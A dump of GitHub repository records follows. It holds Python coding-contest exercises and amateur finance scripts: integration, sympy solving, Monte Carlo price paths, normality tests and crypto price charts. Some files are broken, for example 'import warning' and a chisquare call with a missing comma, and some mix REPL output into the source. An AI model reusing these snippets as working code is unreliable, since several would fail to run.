Image.open(\"Zodiac_Photos/11Dog.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Pirate Pig\":\n\t\tim = Image.open(\"Zodiac_Photos/12Pig.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Rambunctious Rat\":\n\t\tim = Image.open(\"Zodiac_Photos/1Rat.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Outstanding Ox\":\n\t\tim = Image.open(\"Zodiac_Photos/2Ox.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Terrific Tiger\":\n\t\tim = Image.open(\"Zodiac_Photos/3Tiger.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Rackety Rabbit\":\n\t\tim = Image.open(\"Zodiac_Photos/4Rabbit.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Dreadful Dragon\":\n\t\tim = Image.open(\"Zodiac_Photos/4Dragon.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Sentient Snake\":\n\t\tim = Image.open(\"Zodiac_Photos/6Snake.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Holly Horse\":\n\t\tim = Image.open(\"Zodiac_Photos/7Horse.jpg\")\n\t\tim.rotate(360).show()\n\telif year_of_zodiac == \"Galvanising Goat\":\n\t\tim = Image.open(\"Zodiac_Photos/8Goat.jpg\")\n\t\tim.rotate(360).show()\n\telse:\n\t\tim = Image.open(\"Zodiac_Photos/9Monkey.jpg\")\n\t\tim.rotate(360).show()\n#<-- definitions#\n#spaces for the start#\nfor i in range(1,50,1):\n\tprint(\" \")\n#title#\nprint(\"Welcome to the Almighty Zodiac Calculator of Doom!\")\nprint(\" \")\n#input#\nwhile True:\n\tbirth_year = input(\"Enter a birth year: \")\n\tif birth_year.isdigit():\n\t\tbreak\n#print \"calculating\"#\ntime.sleep(1)\nprint(\" \")\nprint(\"Calculating...\")\nprint(\" \")\n#result#\nzodiac = calculate_zodiac(birth_year)\n\ntime.sleep(1.5)\nprint(\"You're The \" + zodiac + \"!\")\nprint(\" \")\ntime.sleep(1.5)\nprint(\"Opening photo of The\",zodiac,\"...\")\nprint(\" \")\nprint(\"Displaying photo of The\",zodiac,\"...\")\nprint(\" \")\ntime.sleep(2)\nopen_photo(zodiac)"
}
] | 18 |
CrisRonda/devsuConcurso | https://github.com/CrisRonda/devsuConcurso | f1ff13540fd23b18848e2eb80b86d071a19f0c99 | a788b1658259a26f4e43e12e6ed1dd567242a133 | bef2ffbf4473a1dd5654cf92e556fe03903cc264 | refs/heads/master | 2021-01-05T07:50:51.870795 | 2020-02-16T18:11:33 | 2020-02-16T18:11:33 | 240,939,980 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.47979798913002014,
"alphanum_fraction": 0.47979798913002014,
"avg_line_length": 23.75,
"blob_id": "b0044b9ca19c12b8846d07fa36afac7de42b42aa",
"content_id": "64a9ca51321a361a48043c8b33464f0c02a08f24",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 396,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 16,
"path": "/1ejercicio.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def encrypt(key, message):\n if not message==\"null\":\n if key:\n pass\n else:\n key=\"DJC\"\n else:\n return \"\"\n vocales = [\"a\",\"e\",\"i\",\"o\",\"u\",\"A\",\"E\",\"I\",\"O\",\"U\"]\n codificado=\"\"\n for caracter in message:\n if (caracter in vocales):\n codificado+=key+caracter\n else: \n codificado+=caracter\n return codificado\n"
},
{
"alpha_fraction": 0.447674423456192,
"alphanum_fraction": 0.4554263651371002,
"avg_line_length": 26.052631378173828,
"blob_id": "b3994f7c677a67edd80823f7ec10f3323b43db5d",
"content_id": "ade9150420132afe1affb2dd7f012692e4b7cf45",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 516,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 19,
"path": "/3ejercicio.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def nthCase(n, message):\n contador_letra=1\n message_edit= \"\"\n if n<=0:\n return message\n if not message:\n return \"\"\n else:\n for letra in message:\n if contador_letra==n:\n if 'a'<=letra<='z':\n message_edit+=letra.upper()\n else:\n message_edit+=letra.lower()\n contador_letra=1\n else:\n message_edit+=letra\n contador_letra+=1\n return message_edit\n "
},
{
"alpha_fraction": 0.47557002305984497,
"alphanum_fraction": 0.5260586142539978,
"avg_line_length": 29.75,
"blob_id": "5d3cd506fbe3688bebc1dbb6ebda406f2a8380f3",
"content_id": "9734aaa46c0faed076a7512be952c7052b4ef76c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 614,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 20,
"path": "/6clock.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def angulo(hour, minute): \n resp = hour*30 + minute*0.5 - minute*6\n if(hour*30 + minute*0.5 > minute*6 ):\n return abs(360-resp)\n return abs(resp)\ndef angles(times):\n resultado= 0\n for time in times:\n separacion= time.split(\":\",2)\n if separacion[0].isdigit() and separacion[0].isdigit() :\n hora=int(separacion[0])\n minutos=int(separacion[1])\n if 12<=hora<=23:\n hora-=12\n resultado+=(angulo(hora,minutos))\n else:\n resultado-=100\n else:\n resultado-=100\n return resultado"
},
{
"alpha_fraction": 0.5534307956695557,
"alphanum_fraction": 0.6389201283454895,
"avg_line_length": 23.027027130126953,
"blob_id": "067dbde0f9139c4b11696c5a3be5de90f551bbb8",
"content_id": "bb28101e1da7dea9e254afb06b5b1d39dc686e83",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 889,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 37,
"path": "/2track.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def track(array_milisegundos):\n tiempo_fin=0\n respuesta=[]\n dias=''\n horas=''\n minutos=''\n segundos=''\n milisegundos=''\n\n if(array_milisegundos):\n array_milisegundos=array_milisegundos\n else:\n array_milisegundos=[0]\n\n for tiempo in array_milisegundos:\n\n if tiempo <0 :\n tiempo=0\n tiempo_fin+=tiempo\n\n\n dias=tiempo_fin//(86400000)\n\n horas_aux=dias*24\n horas=(tiempo_fin//(3600000))-horas_aux\n\n minutos_aux=(dias*24*60)+(horas*60)\n minutos=(tiempo_fin//(60000))- minutos_aux\n\n segundos_aux=(dias*24*60*60)+(horas*60*60)+(minutos*60)\n segundos=(tiempo_fin//(1000))-segundos_aux\n\n milisegundos_aux=(dias*24*60*60*1000)+(horas*60*60*1000)+(minutos*60*1000)+(segundos*1000)\n milisegundos=tiempo_fin-milisegundos_aux\n\n respuesta=[dias, horas, minutos, segundos, milisegundos]\n return respuesta\n"
},
{
"alpha_fraction": 0.5249999761581421,
"alphanum_fraction": 0.5249999761581421,
"avg_line_length": 31,
"blob_id": "c784a31a1ad0218938863cf9aa40240999370b4e",
"content_id": "3bd348bd09a82c38630287e606aa5f07d9101340",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 640,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 20,
"path": "/5ejercicio.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def decrypt(key, message):\n if key == '':\n key = 'DJC'\n \n if not key:\n message = ''\n return(message)\n \n else :\n message = message.replace(key+'a','a')\n message = message.replace(key+'e','e')\n message = message.replace(key+'i','i')\n message = message.replace(key+'o','o')\n message = message.replace(key+'u','u')\n message = message.replace(key+'A','A')\n message = message.replace(key+'E','E')\n message = message.replace(key+'I','I')\n message = message.replace(key+'O','O')\n message = message.replace(key+'U','U')\n return message\n"
},
{
"alpha_fraction": 0.584973156452179,
"alphanum_fraction": 0.604651153087616,
"avg_line_length": 33.4375,
"blob_id": "58001e477051974394cd1fa8ab2337a1c99071dc",
"content_id": "9338d57614299b11e7c8d9c3b58c595873e24b2f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 559,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 16,
"path": "/12Substring.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def subString(cadena):\n if not cadena:\n return 0\n longitud_cadena=len(cadena)//2\n index_cadena={}\n for index in range(longitud_cadena):\n caracter= cadena[index]\n if cadena.count(caracter)>1:\n menor= cadena.find(caracter)\n mayor= cadena.rindex(caracter)\n longitud= mayor -menor\n index_cadena[longitud]=[menor,mayor]\n ordenado = sorted(index_cadena.items())[::-1]\n index_bajo=ordenado[0][1][0]+1\n index_alto=ordenado[0][1][1]\n return cadena[index_bajo:index_alto]\n \n "
},
{
"alpha_fraction": 0.40441176295280457,
"alphanum_fraction": 0.43382352590560913,
"avg_line_length": 17.85714340209961,
"blob_id": "0975c452d925c2a0c74d46b7791daedd611468d2",
"content_id": "c33fc98ad4ad4b6fbc7ea6630565b21c8f2a375a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 136,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 7,
"path": "/4series.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def series(n):\n if n<=0:\n return -1\n else:\n index= n-1\n valor= -3+((index)*(index))\n return valor\n "
},
{
"alpha_fraction": 0.7342657446861267,
"alphanum_fraction": 0.7972028255462646,
"avg_line_length": 71,
"blob_id": "b6af1b8326dd53ecf5a19926e07398c4da1a0d4c",
"content_id": "8df97fd139f3ba5740c505c786b193ddc3243e17",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 145,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 2,
"path": "/README.md",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "# Consurso DevSu \nEstos ejercicios se realizaron en Python 3.7 en el que participé en DevSu Code Jam en Noviembre de 2019 y logré el puesto 109"
},
{
"alpha_fraction": 0.5470588207244873,
"alphanum_fraction": 0.5627450942993164,
"avg_line_length": 25.894737243652344,
"blob_id": "8828451db217c75fb1427c28217de14f3bb98ac0",
"content_id": "83663c736f516e262a866aa851ec1fbee46e24c1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 510,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 19,
"path": "/15Keplar.py",
"repo_name": "CrisRonda/devsuConcurso",
"src_encoding": "UTF-8",
"text": "def recursiva(n,contador):\n constante= \"6174\"\n if constante==n:\n return contador\n else:\n array_numeros=[]\n respuesta=0\n for numero in n:\n array_numeros.append((numero))\n array_asc=sorted(array_numeros)\n menor= int(\"\".join(array_asc))\n array_des=array_asc[::-1]\n mayor= int(\"\".join(array_des))\n new_n= str(mayor-menor)\n contador+=1\n return recursiva((new_n),contador)\n \ndef kaprekar(n):\n return recursiva(n,0)"
}
] | 9 |
scalaview/portfoly | https://github.com/scalaview/portfoly | cfa1e8cf8442c4842ec9689dbc2ed5d49c5c21e9 | ec4dc3446270bf6265e49e8eacd73c090a5c8190 | ece8bf5f662be460cbc6312c57ccab2c832b4c73 | refs/heads/master | 2021-01-19T08:22:28.224848 | 2017-06-18T15:58:56 | 2017-06-18T15:58:56 | 87,622,044 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6934097409248352,
"alphanum_fraction": 0.7249283790588379,
"avg_line_length": 25.923076629638672,
"blob_id": "b42e4962349f9e1f7ccb7b23ad55844b59902c60",
"content_id": "46327541d5cb192d87ea20956f4c4d9d767065ff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 373,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 13,
"path": "/learn_sample.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import warning\nwarning.simplefilter('ignore')\nimport zipline\nimport pytz\nimport datetime as dt\n\ndata = zipline.data.load_from_yahoo(stocks=['GLD', 'GDX'], end=dt.datetime(2014, 3, 15, 0, 0, 0, 0, pytz.utc)).dropna()\ndata.info()\n\n\nimport bokeh.plotting as bp\n# 图片会被输出称为一个html文件\nbp.output_file(\"../images/msft_l.html\", title=\"Bokeh Example (Stati c)\")"
},
{
"alpha_fraction": 0.5465961694717407,
"alphanum_fraction": 0.5948446989059448,
"avg_line_length": 26.509090423583984,
"blob_id": "b9c27c05bfc08bf8550ad9d06a18d0ba0f41591b",
"content_id": "688966b846f4e90ffabdbb755fb19a9e3e0f9bc4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1513,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 55,
"path": "/run.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import requests\nimport json\n\nclass Subject():\n def __init__(self, d):\n self.__dict__ = d\n\n\nclass Origin(object):\n\n timeout = 100\n\n __urls = {\n \"rank\": \"http://103.37.160.30:12150/v1/portfolios/leaderboards2.json?app=quant&client=iPhone%205C&version=1.6.0.3&fee=paid&orderby=returns\",\n }\n\n def __init__(self):\n self.init_opener()\n\n def init_opener(self, headers = {\n 'Connection': 'Keep-Alive',\n 'Accept': 'application/json,*/*',\n 'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3',\n 'User-Agent': 'Appcelerator Titanium/5.5.1 (iPhone/9.3.5; iPhone OS; zh_CN;)',\n }):\n self.headers = headers\n response = requests.get(self.__urls[\"rank\"], headers=headers, timeout=self.timeout)\n if response.status_code == 200:\n self.cookies = response.cookies\n else:\n response.raise_for_status()\n\nclass App(Origin):\n\n __urls = {\n \"rank\": \"http://103.37.160.30:12150/v1/portfolios/leaderboards2.json?app=quant&client=iPhone%205C&version=1.6.0.3&fee=paid&orderby=returns\",\n }\n\n \"\"\"docstring for App\"\"\"\n def __init__(self):\n super(App, self).__init__()\n\n def run(self):\n res = requests.get(self.__urls[\"rank\"], headers=self.headers, cookies=self.cookies, timeout=self.timeout)\n if res.status_code == 200:\n result = json.loads(res.text)\n for x in result[:10]:\n print(x)\n else:\n res.raise_for_status()\n\n\nif __name__ == '__main__':\n app = App()\n app.run()\n"
},
{
"alpha_fraction": 0.5061947107315063,
"alphanum_fraction": 0.6362831592559814,
"avg_line_length": 21.579999923706055,
"blob_id": "70a80f8f3489b1e491633f431aa2ba372fe7d10b",
"content_id": "54ba2595f4c48865880ddb286a11e81c2aab87dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1180,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 50,
"path": "/learn_scipy.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.finance as mpf\nimport pandas as pd\nimport scipy.integrate as sci\n\n\ndef f(x):\n return np.sin(x) + 0.5 * x\n\na = 0.5\nb = 9.5\nx = np.linspace(0, 10)\ny = f(x)\n\nfrom matplotlib.patches import Polygon\n\nfig, ax = plt.subplots(figsize=(7, 5))\nplt.plot(x, y, 'b', linewidth=2)\nplt.ylim(ymin=0)\n\nIx = np.linspace(a, b)\nIy = f(Ix)\n\nverts = [(a, 0)] + list(zip(Ix, Iy)) + [(b, 0)]\npoly = Polygon(verts, facecolor='0.7', edgecolor='0.5')\nax.add_patch(poly)\n\nplt.text(0.75 * (a + b), 1.5, r\"$\\int_a^b f(x)dx$\", horizontalalignment='center', fontsize=20)\nplt.figtext(0.9, 0.075, \"$x$\")\nplt.figtext(0.075, 0.9, '$f(x)$')\nax.set_xticks((a, b))\nax.set_xticklabels(('$a$', '$b$'))\nax.set_yticks([f(a), f(b)])\nplt.show()\n\n\n>>> sci.fixed_quad(f, a, b) #固定高斯求积\n(24.366995967084602, None)\n>>> sci.quad(f, a, b) #自适应求积\n(24.374754718086752, 2.706141390761058e-13)\n>>> sci.romberg(f, a, b) #龙贝格积分\n24.374754718086713\n\n>>> xi = np.linspace(0.5, 9.5, 25)\n>>> sci.trapz(f(xi), xi) # 梯形法则\n24.352733271544516\n>>> sci.simps(f(xi), xi) #辛普森法则\n24.374964184550748\n\n"
},
{
"alpha_fraction": 0.34463509917259216,
"alphanum_fraction": 0.535042405128479,
"avg_line_length": 29.613924026489258,
"blob_id": "c249d48eca274b11e511fd5b3a016e0d9a4fa273",
"content_id": "08bf4140ad255acc5eb8018a96c3fe6ec2dd3103",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4869,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 158,
"path": "/learn_sta.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import numpy as np\nnp.random.seed(1000)\nimport scipy.stats as scs\nimport statsmodels.api as sm\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\n\ndef gen_paths(S0, r, sigma, T, M, I):\n dt = float(T) / M\n paths = np.zeros((M+1, I), np.float64)\n paths[0] = S0\n for t in range(1, M+1):\n rand = np.random.standard_normal(I)\n rand = (rand - rand.mean()) / rand.std()\n paths[t] = paths[t - 1] * np.exp((r - 0.5 * sigma ** 2) * dt + sigma * np.sqrt(dt) * rand)\n return paths\n\nS0 = 100\nr = 0.05\nsigma = 0.2\nT = 1.0\nM = 50\nI = 250000\n\npaths = gen_paths(S0, r, sigma, T, M, I)\n\nplt.plot(paths[:, :10])\nplt.grid(True)\nplt.show()\n\nlog_returns = np.log(paths[1:] / paths[0:-1])\n\n'''\n>>> paths[:, 0].round(4)\narray([ 100. , 96.6164, 104.3296, 102.565 , 102.6243, 105.0844,\n 108.4835, 110.4799, 111.9269, 113.0225, 116.262 , 111.0043,\n 112.6174, 109.7845, 110.6934, 110.0979, 107.459 , 105.0001,\n 104.0568, 105.0153, 104.518 , 108.2301, 102.8982, 99.2804,\n 101.5576, 99.2155, 105.9716, 101.3538, 101.656 , 98.532 ,\n 100.6384, 103.934 , 103.7848, 105.7799, 111.7936, 110.265 ,\n 112.2557, 113.6688, 110.9802, 113.9528, 119.6442, 117.7327,\n 123.4827, 117.2669, 118.1398, 121.5619, 120.4562, 119.7591,\n 115.6617, 111.47 , 104.1384])\n>>> log_returns[:, 0].round(4)\narray([-0.0344, 0.0768, -0.0171, 0.0006, 0.0237, 0.0318, 0.0182,\n 0.013 , 0.0097, 0.0283, -0.0463, 0.0144, -0.0255, 0.0082,\n -0.0054, -0.0243, -0.0231, -0.009 , 0.0092, -0.0047, 0.0349,\n -0.0505, -0.0358, 0.0227, -0.0233, 0.0659, -0.0446, 0.003 ,\n -0.0312, 0.0212, 0.0322, -0.0014, 0.019 , 0.0553, -0.0138,\n 0.0179, 0.0125, -0.0239, 0.0264, 0.0487, -0.0161, 0.0477,\n -0.0516, 0.0074, 0.0286, -0.0091, -0.0058, -0.0348, -0.0369,\n -0.068 ])\n'''\n\n# 输出数组特征\ndef print_statistics(array):\n sta = scs.describe(array)\n print(\"%14a %15s\" % ('statistic', 'value'))\n print(30 * \".\")\n print(\"%14s %15.5f\" % ('size', sta[0]))\n print(\"%14s %15.5f\" % ('min', sta[1][0]))\n print(\"%14s %15.5f\" % ('max', sta[1][1]))\n print(\"%14s %15.5f\" % ('mean', sta[2]))\n print(\"%14s %15.5f\" % ('std' , np.sqrt(sta[3])))\n print(\"%14s %15.5f\" % ('skew' , sta[4]))\n print(\"%14s %15.5f\" % ('kurtosis' , sta[5]))\n\nprint_statistics(log_returns.flatten())\n'''\n 'statistic' value\n..............................\n size 12500000.00000\n min -0.15438\n max 0.14645\n mean 0.00060\n std 0.02828\n skew 0.00067\n kurtosis 0.00088\n'''\n\nplt.hist(log_returns.flatten(), bins=70, normed=True)\nplt.grid(True)\nx = np.linspace(plt.axis()[0], plt.axis()[1])\nplt.plot(x, scs.norm.pdf(x, loc=r/M, scale=sigma/ np.sqrt(M)), 'r', lw=2.0)\nplt.legend()\nplt.show()\nsm.qqplot(log_returns.flatten()[::500], line='s')\nplt.grid(True)\nplt.show()\n\n\ndef normality_tests(arr):\n '''\n Tests for normality distribution of given data set.\n Parameters array: ndarray\n object to generate on\n '''\n print(\"Skew of data set %14.3f\" % scs.skew(arr))\n print(\"Skew test p-value %14.3f\" % scs.skewtest(arr)[1])\n print(\"Kurt of data set %14.3f\" % scs.kurtosis(arr))\n print(\"Kurt test p-value %14.3f\" % scs.kurtosistest(arr)[1])\n print(\"Norm test p-value %14.3f\" % scs.normaltest(arr)[1])\n\nnormality_tests(log_returns.flatten())\n\n'''检查是否符合正态分布\nSkew of data set 0.001\nSkew test p-value 0.430\nKurt of data set 0.001\nKurt test p-value 0.541\nNorm test p-value 0.607\n'''\n\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(9, 4))\nax1.hist(paths[-1], bins=30)\nax1.grid(True)\n\nax2.hist(np.log(paths[-1]), bins=30)\nax2.grid(True)\nprint_statistics(paths[-1])\n'''\n 'statistic' value\n..............................\n size 250000.00000\n min 42.74870\n max 233.58435\n mean 105.12645\n std 21.23174\n skew 0.61116\n kurtosis 0.65182\n'''\nprint_statistics(np.log(paths[-1]))\n'''\n 'statistic' value\n..............................\n size 250000.00000\n min 3.75534\n max 5.45354\n mean 4.63517\n std 0.19998\n skew -0.00092\n kurtosis -0.00327\n'''\nnormality_tests(np.log(paths[-1]))\n'''\nSkew of data set -0.001\nSkew test p-value 0.851\nKurt of data set -0.003\nKurt test p-value 0.744\nNorm test p-value 0.931\n'''\nlog_data = np.log(paths[-1])\nplt.hist(log_data, bins=70, normed=True)\nplt.grid(True)\nx = np.linspace(plt.axis()[0], plt.axis()[1])\nplt.plot(x, scs.norm.pdf(x, log_data.mean(), log_data.std()), 'r', lw=2.0)\nplt.legend()\n"
},
{
"alpha_fraction": 0.5893741846084595,
"alphanum_fraction": 0.6100855469703674,
"avg_line_length": 24.528736114501953,
"blob_id": "e8752ec1819b4f98f6ad446cc1d08bacca99571d",
"content_id": "ee9b3c792bd503c83ec1ab57dce1abb4d6ffda43",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2221,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 87,
"path": "/any-sosobtc.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import numpy as np\nnp.random.seed(1000)\nimport scipy.stats as scs\nimport statsmodels.api as sm\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport requests\nimport json\nfrom datetime import datetime\n\nbits = [ 'btccny',\n 'ethcny',\n 'dgdcny',\n 'btscny',\n 'dcscny',\n 'sccny',\n 'etccny',\n '1stcny',\n 'repcny',\n 'anscny',\n 'zeccny',\n 'zmccny',\n 'gntcny',\n 'qtumcny' ]\n\n\ndef normality_tests(arr):\n '''\n Tests for normality distribution of given data set.\n Parameters array: ndarray\n object to generate on\n '''\n print(\"Skew of data set %14.3f\" % scs.skew(arr))\n print(\"Skew test p-value %14.3f\" % scs.skewtest(arr)[1])\n print(\"Kurt of data set %14.3f\" % scs.kurtosis(arr))\n print(\"Kurt test p-value %14.3f\" % scs.kurtosistest(arr)[1])\n print(\"Norm test p-value %14.3f\" % scs.normaltest(arr)[1])\n\ndef gen_paths(data):\n size = len(data)\n fre = 24\n paths = np.zeros((size, fre))\n i = 0\n for t in data:\n peo = []\n s_list = sorted(data[t], key=lambda k: k['time'])\n start = s_list[0]['amount']\n target = [(x['amount']/start - 1) for x in s_list]\n end = target[-1]\n if i == 0 and len(target) != fre:\n for x in range(0, fre - len(target)):\n target.insert(0, 0)\n if i == (size-1) and len(target) != fre:\n for x in range(0, fre - len(target)):\n target.append(end)\n paths[i] = np.array(target)\n i = i + 1\n return paths\n\ndef loadData(sym):\n res = requests.get(\"https://k.sosobtc.com/data/period?symbol=yunbi\"+sym+\"&step=3600\")\n data = {}\n for da in json.loads(res.text):\n time = da[0]\n start = da[1]\n end = da[4]\n data_str = datetime.fromtimestamp(time).strftime('%Y-%m-%d')\n if data.get(data_str) is None:\n data[data_str] = []\n data[data_str].append({'time': time, 'amount': end})\n result = gen_paths(data)\n plt.clf()\n for x in result:\n plt.plot(x)\n plt.grid(True)\n plt.savefig(\"./img/\"+sym+'.png', bbox_inches='tight')\n plt.clf()\n plt.hist(result, bins=30)\n plt.savefig(\"./img/\"+sym+'-hist.png', bbox_inches='tight')\n plt.clf()\n sm.qqplot(result, line='s')\n plt.savefig(\"./img/\"+sym+'-qq.png', bbox_inches='tight')\n normality_tests(result[-1])\n\nif __name__ == '__main__':\n for x in bits:\n loadData(x)\n"
},
{
"alpha_fraction": 0.3030777871608734,
"alphanum_fraction": 0.5722439885139465,
"avg_line_length": 28.281967163085938,
"blob_id": "022ba40dd5d6942af9a18b41e73b0e8e28ef78b7",
"content_id": "d0552ed9e90d8e18078e8c0fa26bd251fa0285e0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9297,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 305,
"path": "/learn_sympy.py",
"repo_name": "scalaview/portfoly",
"src_encoding": "UTF-8",
"text": "import sympy as sy\nimport scipy.stats as scs\n\n\nx = sy.Symbol('x')\ny = sy.Symbol('y')\ntype(x)\n<class 'sympy.core.symbol.Symbol'>\nsy.sqrt(x)\nsqrt(x)\n3 + sy.sqrt(x) - 4**2\nsqrt(x) - 13\nf = x ** 2 + 3 + 0.5*x **2 + 3/2\n>>>\nsy.simplify(f)\n1.5*x**2 + 4.5\nsy.init_printing(pretty_print=False, use_unicode=False)\nprint(sy.pretty(f))\n 2\n1.5*x + 4.5\nprint(sy.pretty(sy.sqrt(x) + 0.5))\n ___\n\\/ x + 0.5\n# 解方程\nsy.solve(x ** 2 - 1)\n[-1, 1]\nsy.solve(x ** 3 + 0.5 * x ** 2 - 1)\n[0.858094329496553, -0.679047164748276 - 0.839206763026694*I, -0.679047164748276 + 0.839206763026694*I]\nsy.solve(x ** 2 + y ** 2)\n[{x: -I*y}, {x: I*y}]\n\n# 积分\na, b = sy.symbols('a b')\nprint(sy.pretty(sy.Integral(sy.sin(x) + 0.5 * x, (x, a, b))))\n b\n /\n |\n | (0.5*x + sin(x)) dx\n |\n/\na\n# 积分\n# 求出反导\nint_func = sy.integrate(sy.sin(x) + 0.5 * x, x)\nprint(sy.pretty(int_func))\n 2\n0.25*x - cos(x)\nFb = int_func.subs(x, 0.95).evalf()\nFa = int_func.subs(x, 0.5).evalf()\nFb = int_func.subs(x, 9.5).evalf()\nFb - Fa\n24.3747547180867\n\n# 求出双界的反导公式\nint_func_limts = sy.integrate(sy.sin(x) + 0.5 * x, (x, a, b))\nprint(sy.pretty(int_func_limts))\n 2 2\n- 0.25*a + 0.25*b + cos(a) - cos(b)\nint_func_limts.subs({a: 0.5, b: 9.5}).evalf()\n24.3747547180868\n# 直接计算积分\nsy.integrate(sy.sin(x) + 0.5 * x, (x, 0.5, 9.5))\n24.3747547180867\n\n\n\nf = (sy.sin(x) + 0.05 * x ** 2 + sy.sin(y) + 0.05 * y ** 2)\n# 对x求偏导\ndel_x = sy.diff(f, x)\ndel_x\n0.1*x + cos(x)\n\n# 对y求偏导\ndel_y = sy.diff(f, y)\ndel_y\n0.1*y + cos(y)\n\n''' 求解方程,得不到解,因此需要使用近似解\n>>> sy.solve(del_x)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\n File \"/Users/zbin/anaconda/lib/python3.6/site-packages/sympy/solvers/solvers.py\", line 1053, in solve\n solution = _solve(f[0], *symbols, **flags)\n File \"/Users/zbin/anaconda/lib/python3.6/site-packages/sympy/solvers/solvers.py\", line 1619, in _solve\n raise NotImplementedError('\\n'.join([msg, not_impl_msg % f]))\nNotImplementedError: multiple generators [x, cos(x)]\nNo algorithms are implemented to solve equation x/10 + cos(x)\n'''\n# 求得近似解,后面的参数表示从某个数字(x)开始得到第一近似解\nxo = sy.nsolve(del_x, -1.5)\nxo\n-1.42755177876459\n\nyo = sy.nsolve(del_y, -1.5)\nyo\n-1.42755177876459\n\n\nimport numpy as np\nimport numpy.random as npr\nimport matplotlib.pyplot as plt\n\nsample_size = 500\n# 均值为0,标准差为1的标准正太分布\nrn1 = npr.standard_normal(sample_size)\n# 均值为100, 标准差为20的正太分布\nrn2 = npr.normal(100, 20, sample_size)\n# 自由度为0.5的卡方分布\nrn3 = npr.chisquare(df=0.5 size=sample_size)\n# 入值为1的柏松分布\nrn4 = npr.poisson(lam=1.0, size=sample_size)\n\n# Black-Scholes-Merton模型\n\nS0 = 100\nr = 0.05\nsigma = 0.25\nT = 2.0\nI = 10000\nST1 = S0 * np.exp((r - 0.5 * sigma ** 2) * T + sigma * np.sqrt(T) * npr.standard_normal(I))\nplt.hist(ST1, bins=50)\n'''\n(array([ 1.10000000e+01, 5.30000000e+01, 2.01000000e+02,\n 4.43000000e+02, 6.72000000e+02, 8.68000000e+02,\n 9.86000000e+02, 1.04900000e+03, 9.92000000e+02,\n 9.04000000e+02, 7.38000000e+02, 6.80000000e+02,\n 5.28000000e+02, 4.27000000e+02, 3.32000000e+02,\n 2.50000000e+02, 2.08000000e+02, 1.73000000e+02,\n 1.17000000e+02, 9.00000000e+01, 6.70000000e+01,\n 4.60000000e+01, 4.30000000e+01, 3.30000000e+01,\n 2.50000000e+01, 1.60000000e+01, 8.00000000e+00,\n 1.00000000e+01, 5.00000000e+00, 